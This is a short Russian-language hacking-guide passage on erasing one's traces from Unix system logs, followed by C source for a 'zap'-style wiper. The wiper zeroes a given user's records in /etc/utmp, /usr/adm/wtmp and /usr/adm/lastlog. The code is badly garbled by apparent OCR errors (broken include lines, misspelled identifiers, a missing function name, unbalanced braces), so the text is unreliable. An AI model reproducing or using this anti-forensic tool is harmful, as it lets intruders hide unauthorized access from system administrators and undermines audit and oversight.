Затираем следы своего присутствия из журнала системы
Отредактируйте /etc/utmp, /usr/adm/wtmp и /usr/adm/lastlog. Это не
Текстовые файлы, которые можно редактировать вручную с помощью текстового редактора. Поэтому вы должны использовать специально написанную для этой цели программу.
І
Например:
«include <sys/types, h>
#include <stdlo. h>
«include<unistd. h>
«include <sys/file. h>
«include <fcntl. h>
«include <utmp. h>
«include <pwd. h>
«include <lastlog. h>
«define WTMP_NAME "/usr/adm/wtmp"
«define UTMP_NAME "/etc/utmp"
«define LASTLOG_NAME "/usr/adm/lastlog"
Int f;
Void kill_utmp(who)
Char *who;
{
Struct utmp utmp_ent;
If ((f=open(UTMP_NAME,0_RDWR))>=0) {
While(read (f, &utmp_ent, sizeof (utmp„ent))> 0 ) if (! strncmp(utmp_ent. ut_name, who, strlen(who))) { bzero((char *)&utmp_ent, sizeof ( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent));
Close(f);
Ї
}
Void
Char *who;
{
Struct utmp utmp_ent; long pos;
Pos = 1L;
If ((f=open(WTMP_NAME,0_RDWR))>=0) {
While(pos!= -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos), L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L;
} else {
-if (!strncmp(utmp_ent. utjiame, who, strlen(who))) { bzero((char *)&utmp_ent, sizeof(struct utmp ));
Lseekff,-( (sizeof(struct utmp)) * pos), L_XTND) ; write (f, &utmp_ent, sizeof (utmp_ent));
Pos =-1L;
} else pos += 1L;
Ї
>
}
}
Void kill_lastlog(who)
Char *who;
{
Struct passwd *pwd; struct lastlog newll;
If ((pwd=getpwnam(who))!=NULL) {
If ((f=open(LASTLOG_NAME, 0_RDWR)) >= 0) {
Lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll, sizeof ( newll )); write(f, (char *)&newll, sizeof( newll )); close(f);
}
} else printfCXs: ?n",who);
}
Main(argc, argv)
Char *argv[]; {
Klll_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2ln"); } else
Printf ("Error. n");
>